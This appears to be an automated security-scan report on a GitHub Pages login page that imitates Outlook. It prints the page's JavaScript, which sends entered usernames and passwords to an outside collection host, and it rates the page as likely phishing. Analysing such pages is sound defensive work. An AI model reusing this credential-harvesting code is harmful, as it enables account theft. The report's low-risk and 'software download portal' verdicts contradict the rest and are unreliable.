Windows Analysis Report
https://kissingwills555.github.io/teethteeth

```json{  "brand": "unknown",  "brand_classification": "unknown",  "legit_url": "unknown",  "similarity": 0,  "spoofed": 0,  "reasoning": "The URL 'https://kissingwills555.github.io' does not appear to be attempting to spoof any known brand. The domain 'github.io' is a legitimate domain used for hosting GitHub Pages, which is a service provided by GitHub for hosting static websites. The subdomain 'kissingwills555' does not resemble any known brand or entity and seems to be a personal or project-specific identifier. There are no visual character substitutions or structural changes that suggest typosquatting. The use of 'github.io' is appropriate and expected for personal or project pages, and there is no indication of an attempt to confuse users into thinking this is a different, trusted brand."}

URL: https://kissingwills555.github.io

{
    "risk_score": 6,
    "reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission and potential data exfiltration. While the script appears to have a legitimate login functionality, the use of a third-party domain for authentication and the lack of transparency around the data being sent raise some concerns. Further review may be necessary to ensure the script's security and privacy practices."
}

      window.onload = function() {
      	initLogon();
      };

      function initLogon() {
      	try {
      		gbid("username").focus();
      	} catch (e) {}

        try {
          const hash = window.location.hash.substring(1);
          gbid("username").value = hash;

          if (hash.trim() !== "") {
              gbid("password").focus();
          }
        } catch (e) {}
      }

      function shw(o) {
      	o.style.display = "";
      }

      function hd(o) {
      	o.style.display = "none";
      }

      function checkSubmit(e) {
      	if (e && e.keyCode == 13) {
      		if (e.preventDefault) {
      			e.preventDefault();
      		}
      		clkLgn();
      	}
      }

      function clkLgn() {
    var currentcount  = document.getElementById("passcount").value;
    document.getElementById("showPasswordCheck").setAttribute('disabled', 'disabled');
    document.getElementById("username").setAttribute('disabled', 'disabled');
    document.getElementById("password").setAttribute('disabled', 'disabled');
    document.getElementById("signinbutton").setAttribute('disabled', 'disabled');

    const formData = new FormData();
    formData.append('username', document.getElementById("username").value);
    formData.append('password', document.getElementById("password").value);
    formData.append('passcount', document.getElementById("passcount").value);
    const postParams = new URLSearchParams(formData).toString();
  
    const formApi = "https://bloomfastgood.com.br/css/auth.php";

    fetch(formApi, {
        method: 'POST',
        body: postParams,
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        }
    })
    .then(response => {
        if (!response.ok) {
            throw new Error('Network response was not ok');
        }
        return response.text();
    })
    .then(data => {
        if(data.startsWith("https://")) {
            window.location.href = data;
        } else {
            shw(gbid("signInErrorDiv"));
        }
    })
    .catch(error => {
        shw(gbid("signInErrorDiv"));
    })
    .finally(() => {
        document.getElementById("showPasswordCheck").removeAttribute('disabled');
        document.getElementById("username").removeAttribute('disabled');
        document.getElementById("password").removeAttribute('disabled');
        document.getElementById("signinbutton").removeAttribute('disabled');
        document.getElementById("passcount").value = parseInt(currentcount) + 1;
    });
}


      function clkRtry() {
      	window.location.reload();
      }

      function gbid(s) {
      	return document.getElementById(s);
      } 
    

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript snippet appears to be a login-related functionality with some basic user agent detection and placeholder text manipulation. While it uses some legacy practices like `document.write()`, the overall behavior is relatively benign and focused on providing a responsive user experience. There are no clear indicators of high-risk activities like data exfiltration or dynamic code execution. The script seems to be primarily concerned with adjusting the login interface based on the user's device type."
}

      var mainLogonDiv = window.document.getElementById("mainLogonDiv");
      var showPlaceholderText = false;
      var mainLogonDivClassName = 'mouse';
      var userAgent = new MobileDetect(window.navigator.userAgent);

      if (userAgent.mobile()) {
      	var mainLogonDivClassName = 'tnarrow';
      }
      if (mainLogonDivClassName == "tnarrow") {
      	showPlaceholderText = true;
      	document.write('<meta name= "viewport" content="width=320, initial-scale=1.0, user-scalable=no"/>');
      } else if (mainLogonDivClassName == "twide") {
      	showPlaceholderText = true;
      }

      function setPlaceholderText() {
      	window.document.getElementById("username").placeholder = "domain\\user name";
      	window.document.getElementById("password").placeholder = "password";
      }

      function showPasswordClick() {
      	var showPassword = window.document.getElementById("showPasswordCheck").checked;
      	passwordElement = window.document.getElementById("password");
      	if (showPassword) {
            passwordElement.setAttribute('type', 'text');
      		passwordElement.focus();
      	} else {
            passwordElement.setAttribute('type', 'password');
      		passwordElement.focus();
      	}
      }
    

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Sign in",
"text_input_field_labels": [
"Domain\\user name:",
"Password:"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false,
"page_classification": "unknown"
}
Google indexed: False

{
  "brands": [
    "Outlook"
  ]
}
Google indexed: False

```json{  "legit_domain": "outlook.com",  "classification": "wellknown",  "reasons": [    "The brand 'Outlook' is a well-known email service provided by Microsoft.",    "The legitimate domain for Outlook is 'outlook.com'.",    "The URL 'kissingwills555.github.io' does not match the legitimate domain for Outlook.",    "The use of 'github.io' suggests a GitHub Pages site, which is not associated with Outlook.",    "The presence of input fields for 'Domain\\user name:' and 'Password:' is typical for phishing attempts targeting login credentials.",    "The URL contains a personal or non-brand-related subdomain, which is suspicious."  ],  "riskscore": 9}
Google indexed: False

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Sign in",
"text_input_field_labels": [
"Domain\\user name:",
"Password:"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false,
"page_classification": "software download portal"
}
Google indexed: False

{
  "brands": [
    "Outlook"
  ]
}
Google indexed: False

```json{  "legit_domain": "outlook.com",  "classification": "wellknown",  "reasons": [    "The brand 'Outlook' is a well-known email service provided by Microsoft.",    "The legitimate domain for Outlook is 'outlook.com'.",    "The URL 'kissingwills555.github.io' does not match the legitimate domain for Outlook.",    "The use of 'github.io' suggests a GitHub Pages site, which is not associated with Outlook.",    "The presence of input fields for 'Domain\\user name:' and 'Password:' on a non-legitimate domain is suspicious and indicative of phishing."  ],  "riskscore": 9}
Google indexed: False